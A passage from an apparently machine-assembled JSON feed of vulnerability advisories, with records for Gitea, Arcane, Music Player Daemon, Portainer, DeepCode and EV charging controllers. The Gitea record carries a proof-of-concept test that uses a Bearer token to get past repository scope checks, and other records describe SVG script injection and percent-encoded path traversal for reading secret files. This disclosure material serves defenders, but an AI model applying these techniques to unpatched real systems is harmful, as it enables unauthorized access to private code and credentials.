supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-38rv-x7px-6hhq, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28744","cveId":"CVE-2026-28744","aliases":["GHSA-cc8w-r4qh-3v65"],"kind":"vulnerability","title":"Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens","summary":"As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`.\n\n```go\n// routers/web/web.go\naddOwnerRepoGitHTTPRouters(\n m,\n repo.HTTPGitEnabledHandler,\n webAuth.AllowBasic,\n webAuth.AllowOAuth2,\n repo.CorsHandler(),\n optSignInFromAnyOrigin,\n context.UserAssignmentWeb(),\n)\n```","detail":"### Summary\nGitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer ` bypasses the scope check entirely.\n\nAs a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`.\n\n### Details\nGit Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:\n\n```go\n// routers/web/web.go\naddOwnerRepoGitHTTPRouters(\n m,\n repo.HTTPGitEnabledHandler,\n webAuth.AllowBasic,\n webAuth.AllowOAuth2,\n repo.CorsHandler(),\n optSignInFromAnyOrigin,\n context.UserAssignmentWeb(),\n)\n```\n\nThe Git HTTP authorization path calls `CheckRepoScopedToken()` before falling through to normal repository RBAC:\n\n```go\n// routers/web/repo/githttp.go\nif askAuth {\n if !ctx.IsSigned {\n ctx.HTTPError(http.StatusUnauthorized)\n return nil\n }\n\n context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))\n if ctx.Written() {\n return nil\n }\n\n // normal repository RBAC follows\n}\n```\n\nHowever, `CheckRepoScopedToken()` only enforces token scopes for Basic-authenticated requests:\n\n```go\n// services/context/permission.go\nfunc CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {\n if !ctx.IsBasicAuth || ctx.Data[\"IsApiToken\"] != true {\n return\n }\n\n scope, ok := ctx.Data[\"ApiTokenScope\"].(auth_model.AccessTokenScope)\n if ok {\n requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)\n // public-only and required repository scope checks follow\n }\n}\n```\n\nThe Bearer/OAuth2 auth path still records the token scope:\n\n```go\n// services/auth/oauth2.go\naccessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)\nif uid != 0 {\n store.GetData()[\"IsApiToken\"] = true\n store.GetData()[\"ApiTokenScope\"] = accessTokenScope\n}\n```\n\nBearer PATs also set `IsApiToken=true` and `ApiTokenScope`, but `ctx.IsBasicAuth` remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.\n\n### PoC\nThis test creates a token for `user2` with only `read:notification`, then requests Git Smart HTTP refs for `user2/repo2`, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.\n\n```go\nfunc TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {\n defer tests.PrepareTestEnv(t)()\n\n repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: \"user2\", Name: \"repo2\"})\n assert.True(t, repo.IsPrivate)\n\n session := loginUser(t, \"user2\")\n token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)\n url := \"/user2/repo2/info/refs?service=git-upload-pack\"\n\n basicReq := NewRequest(t, \"GET\", url)\n basicReq.SetBasicAuth(token, \"x-oauth-basic\")\n MakeRequest(t, basicReq, http.StatusForbidden)\n\n bearerReq := NewRequest(t, \"GET\", url).AddTokenAuth(token)\n resp := MakeRequest(t, bearerReq, http.StatusOK)\n assert.Contains(t, resp.Body.String(), \"refs/heads/master\")\n}\n```\n\n### Impact\nAny Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.\n\nThe vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as `read:notification`, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because `git-receive-pack` also calls the same repository scope check before normal write RBAC.\n\nAffected package ranges reported by GitHub:\ncode.gitea.io/gitea: <= 1.26.1","action":"GitHub lists first patched versions: code.gitea.io/gitea: 1.26.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-06-16T23:38:12.000Z","updatedAt":"2026-10-22T12:51:12.000Z","regions":["Global"],"vendor":null,"product":"code.gitea.io/gitea","stacks":["Go modules","code.gitea.io/gitea","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-cc8w-r4qh-3v65","asOf":"2026-10-22T12:51:12.000Z"},"epss":{"probability":0.00448,"percentile":0.38662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-28744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cc8w-r4qh-3v65","url":"https://github.com/advisories/GHSA-cc8w-r4qh-3v65","type":"primary","publishedAt":"2026-06-16T23:38:12.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cc8w-r4qh-3v65, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-28744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45627","cveId":"CVE-2026-45627","aliases":[],"kind":"vulnerability","title":"Arcane is an interface for managing Docker containers, images, networks, and volumes.","summary":"Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.0, the unauthenticated GET /api/app-images/logo endpoint reflects a user-supplied color query parameter into the body of an SVG document via strings.ReplaceAll with no escaping. The substitution lands inside a <style> element of the embedded logo.svg, allowing an attacker to close the style block and inject executable <script> content. Because the response is served as image/svg+xml and Arcane sets no Content-Security-Policy or X-Content-Type-Options headers, navigating a logged-in admin victim to a crafted URL executes attacker-controlled JavaScript in Arcane's origin and rides the victim's HttpOnly JWT cookie to fully compromise the admin account. This vulnerability is fixed in 1.19.0.","detail":"Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.0, the unauthenticated GET /api/app-images/logo endpoint reflects a user-supplied color query parameter into the body of an SVG document via strings.ReplaceAll with no escaping. The substitution lands inside a <style> element of the embedded logo.svg, allowing an attacker to close the style block and inject executable <script> content. Because the response is served as image/svg+xml and Arcane sets no Content-Security-Policy or X-Content-Type-Options headers, navigating a logged-in admin victim to a crafted URL executes attacker-controlled JavaScript in Arcane's origin and rides the victim's HttpOnly JWT cookie to fully compromise the admin account. This vulnerability is fixed in 1.19.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-29T18:17:10.647Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45627","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45627","type":"primary","publishedAt":"2026-05-29T18:17:10.647Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9039","cveId":"CVE-2026-9039","aliases":[],"kind":"vulnerability","title":"A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for...","summary":"A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.","detail":"A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:27.350Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9039","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9039","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9039","type":"primary","publishedAt":"2026-05-28T20:16:27.350Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9038","cveId":"CVE-2026-9038","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply...","summary":"A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply message fields that exceed expected bounds. Because the input is not sufficiently validated, memory corruption may occur, which can lead to execution of unauthorized code with elevated privileges.","detail":"A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply message fields that exceed expected bounds. Because the input is not sufficiently validated, memory corruption may occur, which can lead to execution of unauthorized code with elevated privileges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:27.227Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9038","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9038","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9038","type":"primary","publishedAt":"2026-05-28T20:16:27.227Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49128","cveId":"CVE-2026-49128","aliases":[],"kind":"vulnerability","title":"Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin,...","summary":"Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin, where the on-disk path is constructed by joining the storage root with a user-supplied URI as plain strings without canonicalization, allowing '..' segments to survive into the resolved path and be flattened by the kernel at openat() time. An unauthenticated attacker can exploit this flaw using the listfiles command to enumerate names, sizes, and modification times of arbitrary directories readable by the MPD process, and the albumart command to read image files in any attacker-chosen directory outside the configured music_directory.","detail":"Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin, where the on-disk path is constructed by joining the storage root with a user-supplied URI as plain strings without canonicalization, allowing '..' segments to survive into the resolved path and be flattened by the kernel at openat() time. An unauthenticated attacker can exploit this flaw using the listfiles command to enumerate names, sizes, and modification times of arbitrary directories readable by the MPD process, and the albumart command to read image files in any attacker-chosen directory outside the configured music_directory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:26.547Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49128","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49128","type":"primary","publishedAt":"2026-05-28T20:16:26.547Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49127","cveId":"CVE-2026-49127","aliases":[],"kind":"vulnerability","title":"Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated...","summary":"Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated attackers to corrupt stack memory by triggering an off-by-one write in the PCM decoder plugin. Attackers can issue two MPD commands referencing a malicious HTTP audio source to cause the unpack loop to write 1366 entries into a 1365-entry buffer, overwriting four bytes past the array boundary with three attacker-controlled bytes from an HTTP response body, resulting in daemon termination or potential code execution.","detail":"Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated attackers to corrupt stack memory by triggering an off-by-one write in the PCM decoder plugin. Attackers can issue two MPD commands referencing a malicious HTTP audio source to cause the unpack loop to write 1366 entries into a 1365-entry buffer, overwriting four bytes past the array boundary with three attacker-controlled bytes from an HTTP response body, resulting in daemon termination or potential code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:26.387Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49127","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49127","type":"primary","publishedAt":"2026-05-28T20:16:26.387Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33590","cveId":"CVE-2026-33590","aliases":[],"kind":"vulnerability","title":"Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution.","summary":"Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution. An authenticated non-administrative user with endpoint access can exploit these settings to read host files or obtain root equivalent \n\naccess on the host.","detail":"Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution. An authenticated non-administrative user with endpoint access can exploit these settings to read host files or obtain root equivalent \n\naccess on the host.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:23.163Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33590","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33590","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33590","type":"primary","publishedAt":"2026-05-28T20:16:23.163Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32847","cveId":"CVE-2026-32847","aliases":[],"kind":"vulnerability","title":"DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read...","summary":"DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read arbitrary files by supplying percent-encoded path segments to the GET /{full_path:path} endpoint. Attackers can bypass Starlette's path normalization by encoding slashes as %2F and dots as %2E%2E, causing the joined path to traverse outside FRONTEND_DIST and exposing sensitive files such as SSH private keys, TLS certificates, and application secrets with a single HTTP request.","detail":"DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read arbitrary files by supplying percent-encoded path segments to the GET /{full_path:path} endpoint. Attackers can bypass Starlette's path normalization by encoding slashes as %2F and dots as %2E%2E, causing the joined path to traverse outside FRONTEND_DIST and exposing sensitive files such as SSH private keys, TLS certificates, and application secrets with a single HTTP request.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:22.613Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"hkuds","product":"deepcode","stacks":["Hkuds","deepcode"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32847","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32847","type":"primary","publishedAt":"2026-05-28T20:16:22.613Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE 